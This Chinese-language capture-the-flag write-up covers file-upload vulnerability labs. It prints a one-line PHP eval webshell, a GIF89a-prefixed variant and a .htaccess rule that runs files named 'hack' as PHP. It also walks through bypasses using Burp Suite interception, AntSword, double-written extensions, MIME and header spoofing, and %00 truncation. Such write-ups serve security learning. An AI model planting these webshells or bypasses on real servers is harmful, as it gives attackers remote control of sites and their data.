无验证
0.先上传一句话木马文档,后缀为(.php).文档内容为:<?php @eval($_POST['attack']) ?>
1.再用中国蚁剑添加该网址,后缀为(返回的相对路径),密码为POST里的内容,即attack
。
2.再在蚁剑中查看文件,即可找到网站下的文档目录。
3.再从中找到flag即可。
前端验证
- 先把一个一句话木马改成png格式(因为png在白名单里)。
- 先用burpSuite把已经上传的png拦截下来,在proxy界面改为php,(同样的,上传的文件仍然为一句话木马)
- 剩下的步骤和“无验证”相同。(这实际上就是一个通过一句话木马,获取控制权限的过程)
显然白名单为png,jpg等等,所以我们可以先传一个假后缀的木马。
双写后缀
由图可以看出,黑名单中的内容一旦存在在文件名中就匹配为空。
所以, 把一句话木马的后缀名改为pphphp
进行绕过,以下是对为什么写成这个形式的解释。
( php底层代码为C语言, php替换字符串时从左往右替换,因此只要保证php被替换为空后剩余部分可以连接成php即可。)
.htaccess
- htaccess的功能
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
- .htaccess的文件内容
<FilesMatch "hack">
SetHandler application/x-httpd-php
</FilesMatch>
本题过滤了php,但并未过滤.htaccess,所以可以采用这种方法绕过。
- htaccess在此题目处的作用
上边的
.htaccess
文件的作用是将文件名中带有hack的文件,当作php处理,也就是说,如果某个网页不允许上传php文件,且服务端使用的是apache就可以通过上传一个.htaccess文件(apache的配置文件),以及一个图片型一句话木马。用蚁剑连接图片文件时服务器会将其当作php文件执行。1
MIME验证
-
MIME定义
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。1 -
content-type:指的是段体的类型
-
在本题中,老方法,上传木马文件,再burpSuite抓包,更改content-type为image/png等类型。
文件头检查
- 用png、gif等的文件头写木马,如:
GIF89a<?php @eval($_POST['attack']) ?>
- 上传到网页上后,用burpSuite抓包
- 更改content-type为:image/gif
- 发送后,再用蚁剑获取文件内容。
00截断
-
var/www/html/
是一般的相对与网页的网址所在根目录,索引到上传目录后的地址。 -
road参数后利用00截断可以使后边的随机数,时间截断掉。
-
filename中的后缀需要更改为白名单内的后缀。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如:
https://mp.csdn.net/upfiles/?filename=test.txt
此时输出的是test.txt加上%00后,
https://mp.csdn.net/upfiles/?filename=test.php%00.txt
此时输出的是test.php就绕过了后缀限制,可以上传webshell啦。2